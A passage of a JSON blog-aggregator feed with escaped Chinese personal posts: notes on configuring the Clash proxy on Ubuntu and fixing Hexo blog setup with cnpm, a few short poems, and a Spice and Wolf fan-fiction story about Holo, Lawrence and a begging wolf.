class=\"hljs-built_in\"\u003eenable\u003c/span\u003e clash\nsystemctl start clash\n\u003cspan class=\"hljs-built_in\"\u003eecho\u003c/span\u003e -e \u003cspan class=\"hljs-string\"\u003e\u0026quot;export http_proxy=\u0026lt;http://127.0.0.1:7890\\nexport\u0026gt; https_proxy=\u0026lt;http://127.0.0.1:7890\u0026gt;\u0026quot;\u003c/span\u003e \u0026gt;\u0026gt; ~/.bashrc\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch1 id=\"小结\"\u003e\u003ca href=\"#小结\" class=\"headerlink\" title=\"小结\"\u003e\u003c/a\u003e小结\u003c/h1\u003e\u003cp\u003eubuntu安装和配置clash确实是一个繁琐的过程,而网上的教程没有对一些问题的解决方案,我把自己在配置过程中遇到的问题写了出来,供大家参考!!!\u003c/p\u003e\n\u003chr\u003e\n\u003c!-- \u003cfont face=\"逐浪新宋\" color=cyan size=10\u003e谢啦!!☆⌒(*^-゜)v\u003c/font\u003e --\u003e","url":"http://wanglanhuajiaofen.fun/2024/02/29/clash/"},{"title":"hexo搭建博客bug小结","time":"2024-02-19T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"hexo搭建博客的过程中遇到的一些问题\"\u003e\u003ca href=\"#hexo搭建博客的过程中遇到的一些问题\" class=\"headerlink\" title=\"hexo搭建博客的过程中遇到的一些问题\"\u003e\u003c/a\u003ehexo搭建博客的过程中遇到的一些问题\u003c/h1\u003e\u003ch2 id=\"node-js与npm相关\"\u003e\u003ca href=\"#node-js与npm相关\" class=\"headerlink\" title=\"node.js与npm相关\"\u003e\u003c/a\u003enode.js与npm相关\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e下载\u003cbr\u003e从官网下载node.js后,基本只需要一路next即可,最重要的是选择add to path.\u003c/li\u003e\n\u003cli\u003e使用源\u003cul\u003e\n\u003cli\u003e\u003cp\u003e截止到2024\u0026#x2F;2\u0026#x2F;19为止,网上很多教程中的淘宝源均已无法使用,下面的为最新且有效的淘宝镜像:\u003ca href=\"https://registry.npmmirror.com/\"\u003ehttps://registry.npmmirror.com\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e先下载好cnpm会让之后的工作事半功倍b( ̄▽ ̄)d\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\u003cp\u003e下面贴上代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs node.js\"\u003e\nnpm i -g cnpm --registry=https://registry.npmmirror.com\u003c/code\u003e\u003c/pre\u003e\n\n\u003cul\u003e\n\u003cli\u003e目录权限问题:如果遇到npm下载报错说权限不够等问题,win + r 输入cmd之后不着急回车,此时ctrl+shift+回车即可以管理员身份打开cmd,即可解决问题。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"hexo相关\"\u003e\u003ca href=\"#hexo相关\" class=\"headerlink\" title=\"hexo相关\"\u003e\u003c/a\u003ehexo相关\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e如果成功的下载了cnpm,那么之后使用npm下载的东西都用cnpm来替代,就能解决大部分无法下载的问题(๑•̀ㅂ•́)و✧\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e创建一个专门处理blog的文件夹,之后所有操作都在这个文件夹的根目录进行即可。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e\u003cem\u003e\u003cstrong\u003e重点\u003c/strong\u003e\u003c/em\u003e:hexo init报错: 此时只需要在根目录输入:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"hljs cmake\"\u003e\ncnpm \u003cspan class=\"hljs-keyword\"\u003einstall\u003c/span\u003e\nhexo s\n\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e即可解决。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"部署到github\"\u003e\u003ca href=\"#部署到github\" class=\"headerlink\" title=\"部署到github\"\u003e\u003c/a\u003e部署到github\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e在根目录_config.yml文件中ropo后面输入github仓库页的ssh链接而非https链接。\u003c/li\u003e\n\u003cli\u003e所有键值对后面都有 \u003cstrong\u003e空格\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"主题\"\u003e\u003ca href=\"#主题\" class=\"headerlink\" title=\"主题\"\u003e\u003c/a\u003e主题\u003c/h2\u003e\u003cp\u003e只需要在对应开源主题看文档即可按照自己意愿更改。\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h1\u003e\u003cp\u003e这篇文章集结了全部(大概)我在用一下午时间hexo搭建博客中遇到的问题,网上的方法有对的也有错的,经历了许久的试错后,终于找到的正确方法都被我记录在上面啦O(∩_∩)O!!!\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/02/20/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2bug%E5%B0%8F%E7%BB%93/"},{"title":"初搭博客","time":"2024-02-18T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"MyFirstBlog\"\u003e\u003ca href=\"#MyFirstBlog\" class=\"headerlink\" title=\"MyFirstBlog\"\u003e\u003c/a\u003eMyFirstBlog\u003c/h1\u003e\u003cp\u003edate: 2024-02-19 14:46\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"这是我第一篇博客,但这不是我第一次搭建博客\"\u003e\u003ca href=\"#这是我第一篇博客,但这不是我第一次搭建博客\" class=\"headerlink\" title=\"这是我第一篇博客,但这不是我第一次搭建博客\u0026#x3D;,\u0026#x3D;\"\u003e\u003c/a\u003e这是我第一篇博客,但这不是我第一次搭建博客\u0026#x3D;,\u0026#x3D;\u003c/h2\u003e\u003ch2 id=\"庆祝成功-•̀-ω-•́-y\"\u003e\u003ca href=\"#庆祝成功-•̀-ω-•́-y\" class=\"headerlink\" title=\"庆祝成功( •̀ ω •́ )y\"\u003e\u003c/a\u003e庆祝成功( •̀ ω •́ )y\u003c/h2\u003e","url":"http://wanglanhuajiaofen.fun/2024/02/19/%E5%88%9D%E6%90%AD%E5%8D%9A%E5%AE%A2/"}]},{"name":"Ri的手账本","email":"Unknown","uri":"https://raay.xyz","description":"","article":[{"title":"最好的庆功宴","time":"2024-09-12T17:33:07Z","content":"从此烟雨落京城,一人撑伞二人行\u003chr /\u003e\n\u003cp\u003e从此烟雨落京城,一人撑伞二人行\u003c/p\u003e\n","url":"https://raay.xyz/268"},{"title":"眼睛","time":"2024-09-08T05:23:50Z","content":"你看着我的眼睛 我问你 你在我的眼睛里看到了什么 鲜花 湖水 还是喜悦 我说 都不是 你看到的是你自己 你在我 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e你看着我的眼睛\u003c/p\u003e\n\n\n\n\u003cp\u003e我问你 \u003c/p\u003e\n\n\n\n\u003cp\u003e你在我的眼睛里看到了什么\u003c/p\u003e\n\n\n\n\u003cp\u003e鲜花 湖水 还是喜悦\u003c/p\u003e\n\n\n\n\u003cp\u003e我说\u003c/p\u003e\n\n\n\n\u003cp\u003e都不是\u003c/p\u003e\n\n\n\n\u003cp\u003e你看到的是你自己\u003c/p\u003e\n\n\n\n\u003cp\u003e你在我的眼睛里\u003c/p\u003e\n\n\n\n\u003cp\u003e眼睛是心灵的窗户\u003c/p\u003e\n\n\n\n\u003cp\u003e你在我的心里\u003c/p\u003e\n","url":"https://raay.xyz/263"},{"title":"如果有你在","time":"2023-12-18T19:13:26Z","content":"你低垂着背脊,雨点敲打着你让我心痛,我怀着祈祷的心情一直关注着你,如果这个世界上,只有一把伞,我定要找到送给你 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e你低垂着背脊,\u003cbr\u003e雨点敲打着你让我心痛,\u003cbr\u003e我怀着祈祷的心情一直关注着你,\u003cbr\u003e如果这个世界上,\u003cbr\u003e只有一把伞,\u003cbr\u003e我定要找到送给你,\u003cbr\u003e我不能为你做点什么,\u003cbr\u003e但至少可以代替你淋雨,\u003cbr\u003e求求你 将那些烦恼,\u003cbr\u003e向我倾诉吧,\u003cbr\u003e黑夜过后一定会有黎明,\u003cbr\u003e世界上也没有下不停的雨,\u003cbr\u003e所以请你相信自己,\u003cbr\u003e如果将我们比做月亮和太阳 那么我就是月亮,\u003cbr\u003e如果有你我才能发光,\u003cbr\u003e你不要一个人承担痛苦,\u003cbr\u003e你要知道我就在你身边,\u003cbr\u003e因为很快 你的心里,\u003cbr\u003e就会架起美丽的彩虹。\u003c/p\u003e\n","url":"https://raay.xyz/247"},{"title":"Spirits","time":"2023-11-07T16:38:23Z","content":"世界将从微不足道的我启程,这平凡的每一天,总有人在默默守护,我也想要为了谁做些什么,直到此刻和你相遇,我想和你 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e世界将从微不足道的我启程,\u003cbr\u003e这平凡的每一天,\u003cbr\u003e总有人在默默守护,\u003cbr\u003e我也想要为了谁做些什么,\u003cbr\u003e直到此刻和你相遇,\u003cbr\u003e我想和你共同燃烧这份生命,\u003cbr\u003e我们的相遇会改变一切,\u003cbr\u003e只要你愿意 世界必定在我手中展开,\u003cbr\u003e我一直在等待,\u003cbr\u003e一切都在我的手中,\u003cbr\u003e如果这是无法抗拒的命运,\u003cbr\u003e那我想为你而活下去。\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" width=\"800\" height=\"800\" src=\"https://raay.xyz/wp-content/uploads/2023/11/img_1534-1.jpg\" class=\"wp-image-241\" srcset=\"https://raay.xyz/wp-content/uploads/2023/11/img_1534-1.jpg 800w, https://raay.xyz/wp-content/uploads/2023/11/img_1534-1-300x300.jpg 300w, https://raay.xyz/wp-content/uploads/2023/11/img_1534-1-150x150.jpg 150w, https://raay.xyz/wp-content/uploads/2023/11/img_1534-1-768x768.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" /\u003e\u003c/figure\u003e\n","url":"https://raay.xyz/242"},{"title":"狼与驯化的野性","time":"2023-11-07T16:07:46Z","content":"时间在八月到九月间,还远不到下雪的时节,而眼前的风景却令人诧异。一条小径从雪地里穿过,伴着哒哒的马蹄声,一架马 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e时间在八月到九月间,还远不到下雪的时节,而眼前的风景却令人诧异。一条小径从雪地里穿过,伴着哒哒的马蹄声,一架马车从雪地上略显蹒跚地驶过。马车的背后是一片雪白然后渐变成一片金黄。也许是平原过于辽阔,上山的路并不陡峭,所以从山脚下看,就像是金黄色和雪白色之间有一层模糊的界限一样。而在马车的货台上,一位少女也抱着一个蓬松的,雪白过渡到金黄色的大尾巴躺在毛毯下。如果不知道的话,一定以为这是售卖皮草的旅行商人带着女眷在前往下一个目的地的途中。事实上,只说对了一半。\u003c/p\u003e\n\n\n\n\u003cp\u003e上山的路逐渐变得颠簸,马车也一晃一晃的。行车的商人用力握紧缰绳,尽力让马车走得更稳一些,生怕吵醒了货台上睡觉的少女。然而,事与愿违,随着马车上下颠簸,货台上传来了一阵窸窸窣窣的响声。少女打了个大大的哈欠,亚麻色的柔顺长发在漂亮的脸颊上滑落,看起来就像是某个贵族人家的千金。然而却有一对大大的三角形兽耳在头顶上微微地颤动着,显得十分可爱。少女名叫赫萝,其真身是一只已经活过了几百岁一口能吞下一头小牛的巨狼。她双手环抱着那金黄色夹带着雪白色的蓬松大尾巴,红宝石般的眼睛注视着它,却迟迟不肯松手,显得意犹未尽。她闭上眼睛,又过了几分钟,才无奈地睁开眼睛。必须要接受路途变得越来越颠簸而难以入睡的现实,少女随手从袋子里抓起一块肉干,塞进嘴里就开始咀嚼着,咬得嘎吱作响。像是在反抗着不能午睡的现实。赫萝跳到马车前一直空出的那个位置上。那是只属于她的位置。\u003c/p\u003e\n\n\n\n\u003cp class=\"has-text-align-left\"\u003e“中午好啊,我的公主大人。”\u003c/p\u003e\n\n\n\n\u003cp\u003e商人略带着无奈和戏谑的语气向着少女问好。而少女把头默默地靠在了他的肩膀上,却又一脸怒气地质问他。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝啊,就不能把马车驾得再平稳一些吗?咱都睡不了觉了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e这样说的时候,少女的尾巴却在摇晃着,啪嗒啪嗒拍打着货台。\u003c/p\u003e\n\n\n\n\u003cp\u003e与炎热的平原相比,山脚下吹拂着凉爽的风,慢慢吹散了少女脸颊上的汗水。汗香味顺着微风吹拂到商人的脸上,让商人不禁嗅了嗅鼻子,赫萝的尾巴因为长期使用昂贵的精油养护,散发出花香味。汗水的香味截然不同于花香味…那是只属于赫萝的,好闻的味道。这是只有商人知道的秘密。\u003c/p\u003e\n\n\n\n\u003cp\u003e商人松了一口气。\u003c/p\u003e\n\n\n\n\u003cp\u003e瞟了一眼赫萝的尾巴,然后转过头去。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这不挺开心的么。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱可不是因为没睡好觉开心啊。汝啊,是不是有点得意忘形了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e商人知道她为何如此开心。而开心的不只有她。他也一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝白了他一眼,靠得更紧了。\u003c/p\u003e\n\n\n\n\u003cp\u003e商人腾出左手,搂住赫萝的肩膀。\u003c/p\u003e\n\n\n\n\u003cp\u003e商人名叫罗伦斯,曾是一名旅行商人,在旅行的路途中遇到了赫萝。后来他成为了纽希拉“狼与香辛料”泉的老板,而赫萝,则成为了老板娘。而现在,则已经度过了十几年的开店生涯。他把店托付给其他人,重新踏上了旅途,去探望他俩的孩子缪里。\u003c/p\u003e\n\n\n\n\u003cp\u003e这样旅途中的日常,很容易让人想起两人刚刚相遇时候的场景。想到这些,两人心里说不定都在微笑。也正是如此,两人才会如此珍惜这样的日常。因为时间总在流逝,两人的每一个日常都是奇迹。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这样的道路还要走多久啊?只能吃黑麦面包,睡在货台里,咱都有些不耐烦了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝移开罗伦斯的手臂,有些不耐烦地又从袋子里抽出一条黑麦面包,吃之前故意用手敲了敲,发出“咚咚”的脆响。然后嘎吱一下一口咬下去。表情像是在嚼木头。\u003c/p\u003e\n\n\n\n\u003cp\u003e“山脚的那一头,可是以盛产鱼虾而出名的阿蒂夫哦?听说那里有东方国度来的厨师,把刚捞上来的鲜活带着冰碴儿的虾装入大锅的抽屉上,抽屉下面加水,火力开到整个锅盖都冒出虾的香味。然后掀开锅盖,把透红的虾肉取出再撒上盐巴和特制的酱料….”\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯说到一半,余光注意到赫萝的兜帽晃了一晃。赫萝先是假装没听见一样把头扭到一边。等着罗伦斯说下去的时候终于忍不住了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“这个时候再配上一点冰啤酒,配上鲜鱼刺身…”\u003c/p\u003e\n\n\n\n\u003cp\u003e还没等罗伦斯说完,赫萝的两只手就已经握住了罗伦斯的胳膊,两只红宝石般的大眼睛一闪一闪的,充满了期待的目光。\u003c/p\u003e\n\n\n\n\u003cp\u003e果然,这只狼只要一听到食物脸色变化就会比从麦田到雪山脚下的景色变化还明显。\u003c/p\u003e\n\n\n\n\u003cp\u003e“所以,在到阿蒂夫之前你要忍一忍。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“到了那里,咱要喝精酿的小麦啤酒,吃小麦面包,住靠着街道有铺着羽绒床垫的大床的宾馆,还要吃汝说的东方菜…”\u003c/p\u003e\n\n\n\n\u003cp\u003e一提起吃的来就说个没完,想起刚遇见她的时候,她还和自己斗智斗勇,为了保护自己的荷包,罗伦斯没少跟赫萝起口角。但是到最后,他发现,赫萝是自己货台上最珍贵的货物,哪怕是他把荷包丢掉也买不到的。结了婚以后更是如此,他没有拒绝过赫萝的各种要求。而赫萝,或许是当上了温泉酒店老板娘的缘故,也变得替罗伦斯着想了一些。当罗伦斯手头实在窘迫,她不会提出无理的要求。一是为了罗伦斯,二是为了扮演贤妻良母的形象给缪里看。现在倒好,缪里出去环游世界了。而现在两人又是出去旅行…旅行,经商变成了次要的,所以这只狼的野性就又回来了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“我说,汝啊,我刚才说的听…”\u003c/p\u003e\n\n\n\n\u003cp\u003e马车摇摇晃晃地往前走着,赫萝的话说到一半却又停下了,兜帽里的耳朵左右摇晃着。罗伦斯注意到了赫萝的异样。\u003c/p\u003e\n\n\n\n\u003cp\u003e然后赫萝小声地岔开话题。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝还记得上次我们从这里路过的时候么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“你说十年前我们往纽希拉赶路的时候?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“嗯。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“我记得那时候遇见了一只快饿死的小狼…就躺在前面那颗树边上。难道,它还在那里?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱也不确定,都十年了,虽然咱是贤狼,十年前的味道咱也记不住呗。不过确实有狼的味道在就是了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e马车继续往前走着,暂时没发现什么异常…然后,从灌木丛中间突然窜出来一只皮毛黑亮的狼挡灾路中间。拉货台的马受惊,高高地跃起前蹄。没等罗伦斯反应过来,赫萝已经皱着眉头跳下马车。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝这….”\u003c/p\u003e\n\n\n\n\u003cp\u003e正当赫萝想要训斥这不识时务的独狼时。这只狼却突然翻滚着露出肚皮,甚至摇起了尾巴。同时喉咙里发出了呜呜声。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝更生气了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱可是赫萝,贤狼赫萝!”\u003c/p\u003e\n\n\n\n\u003cp\u003e几乎是吼出来的,她面前的狼吓了一跳,一个翻滚又夹起了尾巴,浑身的毛都在颤抖。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯把马拴在路边,听见赫萝在大吼大叫,赶快跑了过去。\u003c/p\u003e\n\n\n\n\u003cp\u003e“怎么了?”\u003c/p\u003e\n\n\n\n\u003cp\u003e看见罗伦斯站在赫萝身边,那只狼又翻滚着露出肚皮,摇摆着尾巴。看起来很可爱的样子。罗伦斯从兜里掏出了刚想吃的肉干,蹲下身子就这么把肉干递到了她嘴里。狼高兴地咀嚼着罗伦斯递来的肉干,然后用头蹭着罗伦斯的腿,卖力地摇着尾巴…\u003c/p\u003e\n\n\n\n\u003cp\u003e这大概是十年前那只狼吧。记得当时罗伦斯把自己的口粮递到她跟前她连看都不看一眼。而那时的赫萝却不显得很担心的样子。而现在,还没等罗伦斯反应过来,赫萝就已经把他手里还没喂完的肉干塞到了自己的嘴里,而且越嚼越大口。像是故意在做给他眼前的另一只狼看。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝为什么会如此生气呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e那只狼只是呆呆地望着赫萝,嘴里发出呜呜的叫声,显得更可怜了。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯心里想,这哪里是狼啊,分明就是…\u003c/p\u003e\n\n\n\n\u003cp\u003e后面的词他想都不敢想,要是他家里的那只狼知道了他此刻心中的想法,说不定会被咬断脖子。\u003c/p\u003e\n\n\n\n\u003cp\u003e天色渐暗,独狼见没有新的食物,只好黯然地离去了。罗伦斯从车上抱下来一点木柴,开始取火。虽然赫萝半路上嘴没闲着,一直在吃货台里为了旅行而准备的口粮,但她还是闹着要吃晚饭。罗伦斯也早已饿得不行了。虽然是黑麦面包,但对于一个饿肚子的人来说却是十分美味的食物。反倒是赫萝又开始抱怨。毕竟她在路上吃黑麦面包都已经吃腻了。\u003c/p\u003e\n\n\n\n\u003cp\u003e不得已,罗伦斯从货台上拿出了一些御寒时准备用的高度蒸馏酒,用来给这平淡的一餐增加一丝丝的趣味。\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝满足地用装水的水壶大口喝着蒸馏酒,另一只手与罗伦斯十指相勾,把头靠在罗伦斯的胸口上,早早摘下了兜帽,露出两只三角形的大兽耳。边喝酒边轻轻颤动着,这让罗伦斯觉得很可爱。在旅途中,这种画面已经重复过了无数次,而他却永远也看不腻。甚至,他希望时间就这样定格住。\u003c/p\u003e\n\n\n\n\u003cp\u003e然而,时间注定是残酷的。赫萝被禁锢在了时间的漩涡里,只剩下他一人在时间的长河中漂流。倘若他松开此刻握紧的手,二人也许就会在时间之流里失散。\u003c/p\u003e\n\n\n\n\u003cp\u003e他不愿看到这种场景出现。\u003c/p\u003e\n\n\n\n\u003cp\u003e一轮弯弯的新月升起,照耀着罗伦斯怀里有些微醺的赫萝。她的脸颊泛红,清冷的月光洒在她亚麻色的长发上,就如同泼洒下了整个秋天。灿烂,美好,让人不舍,让人珍惜。月光下赫萝的身躯显得更加娇弱,让罗伦斯想要用力抱紧。事实上,他也这么做了。听着赫萝细细的呼吸声,罗伦斯抚摸着赫萝的长发,把鼻子凑到赫萝的耳朵根部,轻轻地闻上几下。那是只属于赫萝的味道。\u003c/p\u003e\n\n\n\n\u003cp\u003e夜深了,灌木丛里却有窸窸窣窣的响声,罗伦斯怀里的赫萝的兽耳动了动,罗伦斯盯着灌木丛的方向,一只手抱住赫萝,另一只手握住了挂在腰间的短剑。\u003c/p\u003e\n\n\n\n\u003cp\u003e这么晚了,会是什么呢?野兽?赫萝在这里,一般的野兽早就跑开了。强盗?那更不可能了,据他所知,这条小路只有运粮的村民会走,在这里打劫的收益还不够准备露营的食物的。\u003c/p\u003e\n\n\n\n\u003cp\u003e那又会是什么?\u003c/p\u003e\n\n\n\n\u003cp\u003e正当罗伦斯苦思瞑想的时候,灌木丛中缓缓走出了一个少女。跟赫萝差不多高,长着齐腰的黑色长发,头上也顶着两个兽耳,只不过比赫萝的小很多。眼睛是蓝色的。五官很端正,比赫萝的体型稍微丰满一点,总体上很匀称。长相比赫萝成熟,却没有赫萝身上的那股威严。对见惯了非人之人的罗伦斯来说,他不对少女的兽耳感到奇怪。甚至他能猜出少女的本体是一只狼。\u003c/p\u003e\n\n\n\n\u003cp\u003e但这只狼是来干什么的呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯刚要开口问,少女却先开口了。\u003c/p\u003e\n\n\n\n\u003cp\u003e“跟我想的差不多…你们的感情还真是好。呃,十年前我就这么想,到现在还是一点也没变。真是难能可贵。不得不说,贤狼还真是捕到了一个抢手的猎物。 ”\u003c/p\u003e\n\n\n\n\u003cp\u003e一边说,少女的目光却盯着罗伦斯在上下打量。火光把少女的双眸映照地闪亮,就像是两片阳光下的湖泊。罗伦斯从少女眼中看到了他与赫萝倚偎的场景。那种眼神像是在羡慕,又像是在嫉妒。\u003c/p\u003e\n\n\n\n\u003cp\u003e“我是来报恩的。不过,看来没有什么必要了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e说完,少女意味深长地看了看罗伦斯怀里的赫萝。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你是十年前的那只狼么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“我当时一度趴在路边,饿得都走不动了。如果不是你们路过的话,我大概会被经过的熊给吃掉吧。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“可是我记得,你不是一脸嫌弃的样子么?我当时把食物扔到你嘴边,你动也不动,别告诉我你是连张嘴的力气都没有了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e少女听到这里有点不高兴。\u003c/p\u003e\n\n\n\n\u003cp\u003e“过去的事情就不要再提了。看你这样也不需要我做什么了。祝你们二位幸福。不用担心我。”\u003c/p\u003e\n\n\n\n\u003cp\u003e说完少女转头就走了。罗伦斯觉得有些莫名其妙。\u003c/p\u003e\n\n\n\n\u003cp\u003e不是来报恩的么,怎么又成了不要担心她了?这什么跟什么啊。\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯摇了摇头,看着怀里的赫萝耳朵还是一动一动的,“唉”地叹了口气。\u003c/p\u003e\n\n\n\n\u003cp\u003e“我知道你醒着…怎么,不放心么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“咱倒是有些话要跟她说。汝就在这里等着呗。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“欸?”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝从罗伦斯的怀里钻出来。也朝着灌木丛走去。\u003c/p\u003e\n\n\n\n\u003cp\u003e趁着赫萝不在,罗伦斯终于有机会整理自己的思绪。想想过去的自己,已经不能算是滥好人了。\u003c/p\u003e\n\n\n\n\u003cp\u003e搭救了这只不认识的狼,也搭救了怀里这只贤狼。并愿意为了贤狼的快乐与幸福付出自己的一生,放弃了徳堡商行的邀请,放弃了唾手可得的巨额财富。从放荡不羁爱自由的旅行商人,到温泉酒店家庭美满生活规律的老板。钱的优先级已经放到了生活的第二位。唯有赫萝,是他心里的第一位。走在路上常常会被人说,“你是不是太宠她了喔”。这便是他的改变。\u003c/p\u003e\n\n\n\n\u003cp\u003e就像是被驯化了一样啊…\u003c/p\u003e\n\n\n\n\u003cp\u003e还来不及感叹,脑海中一股睡意袭来。睡梦之中隐隐约约地传来花朵的香味。胸口感到一阵温暖。\u003c/p\u003e\n\n\n\n\u003cp\u003e这个味道,这种感觉,是赫萝回来了。\u003c/p\u003e\n\n\n\n\u003cp\u003e想到这里,罗伦斯忍不住在睡梦中微笑。这便是他最宝贵的财富。\u003c/p\u003e\n\n\n\n\u003cp\u003e第二天清晨,赶路的时候再也没遇见那只黑色的狼。罗伦斯有些好奇地问赫萝,昨晚上她跑出去跟那只狼说了些什么。为什么一开始见到她的时候那么生气。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你是不是吃醋了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯坏笑着看着赫萝。赫萝重重地踩在罗伦斯的脚上,瞪了罗伦斯一眼。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝这头大笨驴。汝以为咱是那么容易吃醋的么?反倒是汝,一路上吃了多少次醋,一整天担惊受怕的,现在是不是有些得意忘形了?汝这样真的不担心…”\u003c/p\u003e\n\n\n\n\u003cp\u003e赫萝说到一半,发现自己踩了一个很大的雷点。\u003c/p\u003e\n\n\n\n\u003cp\u003e“你是说,不担心有一天你会再度离开我的身边么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e答案是,每时每刻都在担心,以至于形影不离。而且这种担心注定要成为现实。必将发生在对于罗伦斯遥远,对赫萝只不过是须臾之间的未来,而且是罗伦斯会永远地离开赫萝。\u003c/p\u003e\n\n\n\n\u003cp\u003e两人无言。只有冰冷地寒风吹过山脚下。从丰收的麦田吹向寒冷的山巅。\u003c/p\u003e\n\n\n\n\u003cp\u003e此刻,鸦雀无声。赫萝紧紧地抱住了罗伦斯的身体。把自己所有的温暖和重量都施加在他的身上。罗伦斯挺直了腰板,紧紧地拽住缰绳。任凭寒风吹过自己的脸颊。\u003c/p\u003e\n\n\n\n\u003cp\u003e只为了他和她,能够紧紧感受到此刻飘渺的幸福和温暖。相遇的每一天,都是奇迹。所以,每一天,都倍加珍惜。\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝猜,那只狼为什么会十年不见却每天能吃饱饭呢?“”\u003c/p\u003e\n\n\n\n\u003cp\u003e“这十年学会了捕猎然后自己打猎么..不对,学会了打猎就不需要乞讨了。那是为什么呢?….”\u003c/p\u003e\n\n\n\n\u003cp\u003e罗伦斯想到了当时那只狼讨要食物的场景,未免有些太惹人怜惜了。就像是一只可怜的小狗一样。\u003c/p\u003e\n\n\n\n\u003cp\u003e一定是有哪里不对劲。罗伦斯觉得答案就在脑子里晃动。但是他还无法做出回答。\u003c/p\u003e\n\n\n\n\u003cp\u003e感觉这狼要饭的场景好像有些诡异。\u003c/p\u003e\n\n\n\n\u003cp\u003e是什么造成的呢?还有当时赫萝冲出去朝她大吼大叫,又是为什么呢?\u003c/p\u003e\n\n\n\n\u003cp\u003e村民经常经过的路,小狗,赫萝,讨要食物,大吼大叫。这根线串在了一起。\u003c/p\u003e\n\n\n\n\u003cp\u003e“她为什么这么熟练呢?是因为长期在路上讨要食物的缘故么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“大笨驴也有聪明的时候呗。汝猜得八九不离十。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“那你那时候生气,是因为?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“汝做人会随意乞讨么?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“当然不会,除非穷到彻底没钱或者没力气干活。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“那么汝认为,乞讨者是不是需要每天低声下气地忍受着别人的目光呢?”\u003c/p\u003e\n\n\n\n\u003cp\u003e“毕竟是乞讨…这也正常吧。”\u003c/p\u003e\n\n\n\n\u003cp\u003e“但对于咱这样的贤狼来说,看着同族人有能力打猎却在以讨饭为谋生的手段是在丢狼族的脸呐!都是那头大笨驴害得咱脸上蒙羞。所以咱那天晚上主动去把话说清楚了。那头大笨驴答应咱以后再也不会在这里要饭了。”\u003c/p\u003e\n\n\n\n\u003cp\u003e说着,赫萝抬头看看了身后的雪山,不知道什么时候,马车已经从山脚下离开了。只剩下白茫茫的大地。而远处的大海清晰可见。\u